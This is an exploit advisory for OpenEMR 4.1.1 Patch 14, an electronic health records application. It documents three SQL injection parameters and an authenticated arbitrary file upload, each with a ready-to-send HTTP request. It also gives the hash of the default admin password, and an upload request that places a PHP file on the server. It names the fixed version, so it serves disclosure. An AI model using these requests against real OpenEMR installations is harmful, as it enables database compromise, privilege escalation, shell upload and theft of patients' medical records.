OpenEMR 4.1.1 Patch 14 SQL Injection / Shell Upload

`###################################################################################################################################  
# Exploit Title: OpenEMR 4.1.1 Patch 14 Multiple Vulnerabilities  
# Date: Sep 17 2013  
# Exploit Author: xistence < xistence[at]0x90[.]nl >  
# Vendor Homepage: www.open-emr.org  
# Tested on: CentOS 5.9 32-bit  
# Affected Version : 4.1.1 Patch 14 and lower  
# Fix: Upgrade to OpenEMR 4.1.2  
#  
# Software details:  
#  
# OpenEMR is a Free and Open Source electronic health records and medical practice management application that can run on  
# Windows, Linux, Mac OS X, and many other platforms. OpenEMR is ONC Complete Ambulatory EHR certified and is one of  
# the most popular open source electronic medical records in use today. OpenEMR is supported by a strong community of  
# volunteers #and professionals all with the common goal of making OpenEMR a superior alternative to its proprietary counterparts.  
# The OpenEMR community is dedicated to guarding OpenEMR's status as a free, open source software solution for # medicalpractices  
# and is dedicated to maintaining a spirit of openness, kindness and cooperation.  
#  
###################################################################################################################################  
  
  
[ SQL Injection ]  
  
[0x01] - The "authProvider" parameter in the "interface/main/main_screen.php" POST script is vulnerable to SQL Injection. A valid "authPass" password is needed before injection is possible (hash below is the default password "pass")  
  
POST /openemr/interface/main/main_screen.php?auth=login&site=default HTTP/1.1  
Host: <IP>  
Referer: http://<IP>/openemr/interface/login/login.php  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 135  
  
authProvider=Default'[SQLi]&authUser=admin&clearPass=&languageChoice=1&authPass=9d4e1e23bd5b727046a9e3b4b7db57bd8d6ee684&authNewPass=  
  
The POST request below could be used to retrieve passwords from other users and gain higher privileges (and after that upload a shell)  
  
  
[0x02] - The "form_pubid" parameter in the "interface/new/new_comprehensive_save.php" script is vulnerable to SQL Injection.  
  
POST /openemr/interface/new/new_comprehensive_save.php HTTP/1.1  
Host: <IP>  
Referer: http://<IP>/openemr/interface/new/new.php  
Cookie: OpenEMR=blahblahblah  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 286  
  
form_cb_1=1&form_title=Mr.&form_fname=pwned&form_mname=&form_lname=pwned&form_pubpid=[SQLi]&form_DOB=2013-07-15&form_sex=Female&form_ss=&form_drivers_license=&form_status=&form_genericname1=&form_genericval1=&form_genericname2=&form_genericval2=&form_cb_2=1&form_street=&form_city=&form_stat  
  
  
[0x03] - The "set_pid" parameter in the "interface/patient_file/summary/demographics.php" script is vulnerable to SQL Injection.  
http://<IP>/openemr/interface/patient_file/summary/demographics.php?set_pid=-1[SQLi]  
  
  
[ Arbitrary file upload ]  
  
[0x01] - It's possible to upload any file after being authenticated.  
  
POST /openemr/interface/super/manage_site_files.php HTTP/1.1  
Host: <IP>  
Referer: http://<IP>/openemr/interface/super/manage_site_files.php  
Cookie: OpenEMR=blahblahblah  
Connection: keep-alive  
Content-Type: multipart/form-data; boundary=---------------------------6745387234061449481375110870  
Content-Length: 355  
  
-----------------------------6745387234061449481375110870  
Content-Disposition: form-data; name="form_image"; filename="pwned.php"  
Content-Type: text/php  
  
<?php phpinfo(); ?>  
-----------------------------6745387234061449481375110870  
Content-Disposition: form-data; name="bn_save"  
  
Save  
-----------------------------6745387234061449481375110870--  
  
`